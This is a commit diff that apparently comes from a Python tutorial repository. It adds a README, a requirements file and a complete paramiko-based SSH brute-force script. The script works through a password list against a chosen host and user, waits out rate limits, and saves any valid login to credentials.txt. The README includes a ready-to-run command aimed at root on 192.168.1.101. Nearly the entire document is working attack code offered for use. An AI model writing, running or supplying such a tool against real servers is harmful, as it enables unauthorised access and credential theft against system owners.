commit
8a876f1473
@ -0,0 +1,26 @@ |
|||||||
|
# [How to Brute-Force SSH Servers in Python](https://www.thepythoncode.com/article/brute-force-ssh-servers-using-paramiko-in-python) |
||||||
|
To run this: |
||||||
|
- `pip3 install -r requirements.txt` |
||||||
|
- |
||||||
|
``` |
||||||
|
python bruteforce_ssh.py --help |
||||||
|
``` |
||||||
|
**Outputs:** |
||||||
|
``` |
||||||
|
usage: bruteforce_ssh.py [-h] [-P PASSLIST] [-u USER] host |
||||||
|
|
||||||
|
SSH Bruteforce Python script. |
||||||
|
|
||||||
|
positional arguments: |
||||||
|
host Hostname or IP Address of SSH Server to bruteforce. |
||||||
|
|
||||||
|
optional arguments: |
||||||
|
-h, --help show this help message and exit |
||||||
|
-P PASSLIST, --passlist PASSLIST |
||||||
|
File that contain password list in each line. |
||||||
|
-u USER, --user USER Host username. |
||||||
|
``` |
||||||
|
- If you want to bruteforce against the server `192.168.1.101` for example, the user `root` and a password list of `wordlist.txt`: |
||||||
|
``` |
||||||
|
python bruteforce_ssh.py 192.168.1.101 -u root -P wordlist.txt |
||||||
|
``` |
@ -0,0 +1,66 @@ |
|||||||
|
import paramiko |
||||||
|
import socket |
||||||
|
import time |
||||||
|
from colorama import init, Fore |
||||||
|
|
||||||
|
# initialize colorama |
||||||
|
init() |
||||||
|
|
||||||
|
GREEN = Fore.GREEN |
||||||
|
RED = Fore.RED |
||||||
|
RESET = Fore.RESET |
||||||
|
BLUE = Fore.BLUE |
||||||
|
YELLOW = Fore.YELLOW |
||||||
|
|
||||||
|
|
||||||
|
def is_ssh_open(hostname, username, password): |
||||||
|
# initialize SSH client |
||||||
|
client = paramiko.SSHClient() |
||||||
|
# add to know hosts |
||||||
|
client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) |
||||||
|
try: |
||||||
|
client.connect(hostname=hostname, username=username, password=password, timeout=3,allow_agent=False,look_for_keys=False) |
||||||
|
except socket.timeout: |
||||||
|
# this is when host is unreachable |
||||||
|
print(f"{RED}[!] Host: {hostname} is unreachable, timed out.{RESET}") |
||||||
|
returning = False |
||||||
|
except paramiko.AuthenticationException: |
||||||
|
print(f"{YELLOW}[!] Invalid credentials for {username}:{password}{RESET}") |
||||||
|
returning = False |
||||||
|
except paramiko.SSHException as err: |
||||||
|
print(f"{BLUE}[*] Quota exceeded, retrying with delay...{RESET}") |
||||||
|
print(f"{RED}{username}:{password}{RESET}") |
||||||
|
print(f"{RED}{err}{RESET}") |
||||||
|
# sleep for a minute |
||||||
|
time.sleep(60) |
||||||
|
#returning = is_ssh_open(hostname, username, password) |
||||||
|
returning = False |
||||||
|
else: |
||||||
|
# connection was established successfully |
||||||
|
print(f"{GREEN}[+] Found combo:\n\tHOSTNAME: {hostname}\n\tUSERNAME: {username}\n\tPASSWORD: {password}{RESET}") |
||||||
|
returning = True |
||||||
|
finally: |
||||||
|
client.close() |
||||||
|
return returning |
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__": |
||||||
|
import argparse |
||||||
|
parser = argparse.ArgumentParser(description="SSH Bruteforce Python script.") |
||||||
|
parser.add_argument("host", help="Hostname or IP Address of SSH Server to bruteforce.") |
||||||
|
parser.add_argument("-P", "--passlist", help="File that contain password list in each line.") |
||||||
|
parser.add_argument("-u", "--user", help="Host username.") |
||||||
|
|
||||||
|
# parse passed arguments |
||||||
|
args = parser.parse_args() |
||||||
|
host = args.host |
||||||
|
passlist = args.passlist |
||||||
|
user = args.user |
||||||
|
# read the file |
||||||
|
passlist = open(passlist).read().splitlines() |
||||||
|
# brute-force |
||||||
|
for password in passlist: |
||||||
|
if is_ssh_open(host, user, password): |
||||||
|
# if combo is valid, save it to a file |
||||||
|
open("credentials.txt", "w").write(f"{user}@{host}:{password}") |
||||||
|
break |
@ -0,0 +1,2 @@ |
|||||||
|
colorama |
||||||
|
paramiko |
File diff suppressed because it is too large
Load Diff
Loading…
Reference in new issue